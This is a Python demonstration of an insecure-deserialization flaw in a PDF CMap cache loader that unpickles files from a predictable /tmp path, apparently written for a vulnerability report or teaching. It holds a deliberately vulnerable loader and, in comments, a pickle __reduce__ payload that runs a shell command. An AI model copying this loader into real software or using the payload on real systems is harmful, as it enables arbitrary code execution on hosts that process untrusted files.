Vulnerable code sample

import os
import pickle

# In a real-world scenario, this might be a system-wide or user-specific
# cache directory that an attacker could gain write access to.
CACHE_DIR = "/tmp/pdfminer_cache"

def _load_cmap(cmap_name: str):
    """
    Represents the vulnerable function that loads a CMap from a cache file.
    The vulnerability lies in using pickle.load on a file from a predictable
    location without any validation.
    """
    # Construct a predictable file path based on the CMap name.
    # An attacker can place a malicious file at this location.
    cache_path = os.path.join(CACHE_DIR, f"{cmap_name}.cmap.pkl")

    if os.path.exists(cache_path):
        try:
            with open(cache_path, "rb") as f:
                # VULNERABILITY: Insecure deserialization using pickle.
                # If the .cmap.pkl file is a malicious pickle object, this
                # line can execute arbitrary code.
                cmap_data = pickle.load(f)
                return cmap_data
        except Exception:
            # In case of a corrupted (or malicious but malformed) file,
            # the process might fail, but the security risk remains.
            return None
    
    # If the cache file does not exist, the application would normally
    # generate it. This part is omitted to focus on the loading vulnerability.
    return None

# --- Main execution block to simulate a trusted process ---
# A real application, like a document processing service, would call
# _load_cmap as part of its workflow when it encounters a PDF
# that specifies a certain CMap.

if __name__ == "__main__":
    # Ensure the cache directory exists for the simulation
    if not os.path.exists(CACHE_DIR):
        os.makedirs(CACHE_DIR)

    # This cmap_name could be controlled by an attacker, for example,
    # by embedding it in a PDF file that the trusted service will process.
    # Let's assume the attacker wants to load 'malicious_payload'.
    cmap_to_load = "malicious_payload"

    print(f"[*] Trusted process attempting to load CMap: '{cmap_to_load}'")
    print(f"[*] Checking for cache file at: {os.path.join(CACHE_DIR, cmap_to_load)}.cmap.pkl")

    # To trigger the vulnerability, an attacker would have first placed a
    # malicious pickle file at '/tmp/pdfminer_cache/malicious_payload.cmap.pkl'.
    # For example, a file created with this payload would execute a command:
    #
    # class RCE:
    #   def __reduce__(self):
    #     return (os.system, ('echo "VULNERABILITY TRIGGERED" > /tmp/pwned',))
    # with open('/tmp/pdfminer_cache/malicious_payload.cmap.pkl', 'wb') as f:
    #   pickle.dump(RCE(), f)
    
    loaded_data = _load_cmap(cmap_to_load)

    if loaded_data:
        print("[+] CMap loaded from cache.")
    else:
        print("[-] CMap not found in cache or failed to load.")

    print("[*] Process finished.")